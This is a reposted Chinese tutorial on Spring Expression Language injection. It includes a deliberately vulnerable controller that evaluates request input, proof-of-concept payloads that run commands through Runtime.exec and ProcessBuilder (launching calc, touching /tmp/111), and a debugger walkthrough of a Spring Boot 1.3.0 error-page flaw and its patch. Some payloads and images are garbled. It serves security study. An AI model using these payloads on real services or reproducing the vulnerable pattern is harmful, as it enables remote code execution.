栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

spel表达式注入

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

spel表达式注入

pom.xml中添加


    org.springframework
    spring-expression
    5.0.8.RELEASE

测试

package com.example.demo.SpELTest;
 
import org.springframework.expression.evaluationContext;
import org.springframework.expression.expression;
import org.springframework.expression.expressionParser;
import org.springframework.expression.spel.standard.SpelexpressionParser;
import org.springframework.expression.spel.support.StandardevaluationContext;
 
public class SpELTest {
    public static void main(String[] args) {
        // 创建解析器:SpEL 使用 expressionParser 接口表示解析器,提供 SpelexpressionParser 默认实现
        expressionParser parser = new SpelexpressionParser();
        // 解析表达式:使用 expressionParser 的 parseexpression 来解析相应的表达式为 expression 对象
        expression expression = parser.parseexpression("('Hello' + ' FreeBuf').concat(#end)");
        // 构造上下文:准备比如变量定义等等表达式需要的上下文数据
        evaluationContext context = new StandardevaluationContext();
        context.setVariable("end", "!");
        // 求值:通过 expression 接口的 getValue 方法根据上下文获得表达式值
        System.out.println(expression.getValue(context));
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5HXXGZyp-1638411441416)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7H2DMwnJF8FLtDspCXP7At3UYbKawwmpXELMW0V7D8EibOhhzYhLGhWA/640?wx_fmt=png)]

SpEL主要接口

===============

1.expressionParser接口:表示解析器,默认实现是org.springframework.expression.spel.standard 包中的 SpelexpressionParser 类,

使用 parseexpression 方法将字符串表达式转换为 expression 对象;ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;

public interface expressionParser {  
    expression parseexpression(String expressionString);  
    expression parseexpression(String expressionString, ParserContext context);  
}

事例demo:

package com.example.demo.SpELTest;
 
import org.springframework.expression.expression;
import org.springframework.expression.expressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.spel.standard.SpelexpressionParser;
 
public class expressionParserTest {
    public static void main(String[] args) {
        expressionParser parser = new SpelexpressionParser();
        // 此处定义了 ParserContext 实现:定义表达式是模块,表达式前缀为 #{ ,后缀为 }
        // 使用 parseexpression 解析时传入的模板必须以 #{ 开头,以 } 结尾
        ParserContext parserContext = new ParserContext() {
            @Override
            public boolean isTemplate() {
                return true;
            }
            @Override
            public String getexpressionPrefix() {
                return "#{";
            }
            @Override
            public String getexpressionSuffix() {
                return "}";
            }
        };
        String template = "#{'hello '}#{'freebuf!'}";
        expression expression = parser.parseexpression(template, parserContext);
        System.out.println(expression.getValue());
    }
}

2.evaluationContext接口:表示上下文环境,

默认实现是:

org.springframework.expression.spel.support 包中的StandardevaluationContext 类。

使用 setRootObject 方法来设置根对象;使用 setVariable 方法来注册自定义变量;使用 registerFunction 来注册自定义函数等等。

3.expression接口:表示表达式对象,

默认实现是 org.springframework.expression.spel.standard 包中的 Spelexpression ,提供 getValue 方法用于获取表达式值;提供 setValue 方法用于设置对象值。

SpEL语法
  1. 类类型表达式:使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer);

使用类类型表达式还可以进行访问类静态方法及类静态字段。

具体使用方法:

package com.example.demo.SpELTest;
 
import org.springframework.expression.expressionParser;
import org.springframework.expression.spel.standard.SpelexpressionParser;
 
public class SpELTest1 {
    public static void main(String[] args) {
        expressionParser parser = new SpelexpressionParser();
        // 使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer)
        // java.lang 包类访问,不用全名
        Class result1 = parser.parseexpression("T(String)").getValue(Class.class);
        System.out.println("result1:" + result1);
 
        // 其他包类访问,需要指定包名
        String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
        Class result2 = parser.parseexpression(expression2).getValue(Class.class);
        System.out.println("result2:" + result2);
 
        // 类静态字段访问
        int result3 = parser.parseexpression("T(Integer).MAX_VALUE").getValue(int.class);
        System.out.println("result3:" + result3);
 
        // 类静态方法调用
        int result4 = parser.parseexpression("T(Integer).parseInt('1')").getValue(int.class);
        System.out.println("result4:" + result4);
    }
}
 
  1. 类实例化:类实例化同样使用 java 关键字 new ,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer 。

  2. instanceof 表达式:SpEL 支持 instanceof 运算符,跟 Java 内使用同义,如:

‘haha’ instanceof T(String) 将返回 true 。

  1. 变量定义以及引用:变量定义通过 evaluationContext 接口的 setVariable(variableName, value) 方法定义,在表达式中使用"#variableName"引用;

除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用"#root"引用根对象,使用"#this"引用当前上下文对象。

  1. 自定义函数:目前只支持类静态方法注册为自定义函数;

SpEL 使用 StandardevaluationContext 的 registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。

SpEL测试

C:UserszDesktopjavaSpELdemosrcmainjavacomexampledemotest.java

package com.example.demo;
 
import org.springframework.expression.expression;
import org.springframework.expression.spel.standard.SpelexpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
 
@RestController
public class test {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input) {
        SpelexpressionParser parser = new SpelexpressionParser();
        expression expression = parser.parseexpression(input);
        return expression.getValue().toString();
    }
}

http://127.0.0.1:8080/spel?input=2*2

 
New java.lang.ProcessBuilder("calc").start()
http://127.0.0.1:8080/spel?input=new%20java.lang.ProcessBuilder(%22calc%22).start()
T(java.lang.Runtime).getRuntime().exec("calc")
http://127.0.0.1:8080/spel?input=T(java.lang.Runtime).getRuntime().exec(%22calc%22)

Linux

new ProcessBuilder(new String[]{"touch","/tmp/111"}).start();

真实漏洞分析

漏洞环境用的p神的javacon,将spring-boot-2.1.0替换为spring-boot-1.3.0即可

C:UserszDesktopjavaSpELjavaconadmin-panelsrcmainjavaiotrickingchallengetest.java

写个简单的demo来测试:

这里直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

这个环境中,如果是这种

http://127.0.0.1:8080/spel?payload=1*2

则不能解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gqccz8WC-1638411441424)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7299DogeFSCcWwQ0HaahzwkTdARvKjVlPHgPbxvdWlibKpWdZTb2nibsw/640?wx_fmt=png)]

调试

其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LTCnnsrl-1638411441426)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7ic6yacZmibcVdILWzOm4Zy4I5x0ofxh0aoq3NxHkjNH0udfo2AwXmgBA/640?wx_fmt=png)]

可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result。

跟进replacePlaceholders()

跟进parseStringValue()

这时可以看到,while循环中,循环解析xxx的表达式

例如第一个解析到 {timestamp} ,取出中间的值,然后通过 resolvePlaceholder() 函数进行spel解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gDmqJqhv-1638411441430)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7kPLQch9IMsGDhfkBuALcZKWtcg4ZhR1H5dyVneWrKJetnbwssMsaHg/640?wx_fmt=png)]

下一个,error,一直到message

跟进

spring-boot-autoconfigure-1.3.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class#resolvePlaceholder()

处理message时,resolvePlaceholder函数中,value的值为输入的payload参数值,在返回时经过了一层HtmlUtils.htmlEscape,相当于是html编码。

返回到

PropertyPlaceholderHelper.class#parseStringValue()

值给到propVal

接下来就是递归函数,因为会存在 KaTeX parse error: Expected '}', got 'EOF' at end of input: {{1*2}} 的情况,所以在解析完一层过后会判断是否包含 ${} ,如果包含那么就会递归函数

换成

http://127.0.0.1:8080/spel?payload=KaTeX parse error: Expected '}', got 'EOF' at end of input: {{1*2}}

继续调试,直接来到这一步

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWNWACgu-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7pExsiavhN19vZfj72FjDg2dgKflC1JNnuVT0ib1GXsvtqXv8aomvR7eA/640?wx_fmt=png)]

看到了吗,递归的小图标

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PsJp0pAR-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR74Via6r9FLUt4nA5tQJnG2PibGuyiaJOl51C0Kt7kRa12sVMayUNj5ogeQ/640?wx_fmt=png)]

递归处理

KaTeX parse error: Expected '}', got 'EOF' at end of input: {{1*2}} 变成 ${1*2}

再次进入parseStringValue()

${1*2} 变成 1*2

下边再次进入resolvePlaceholder()

解析表达式

修复

补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析。

resolvePlaceholder的功能由代码看出,如果是第一次调用则正常执行resolvePlaceholder这个函数,如果此次调用类为NonRecursivePlaceholderResolver的话将会返回null


知识星球介绍:

【一次付费 永久免费,到期联系运营即可免费加入】 星球面向群体:主要面向信息安全研究人员. 更新周期:最晚每两天更新一次. 内容方向:WEB安全|内网渗透|Bypass|代码审计|CTF|免杀|思路技巧|实战分享|原创工具

知识星球人员介绍:

知识星球二维码:

转载请注明:文章转载自 www.mshxw.com
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号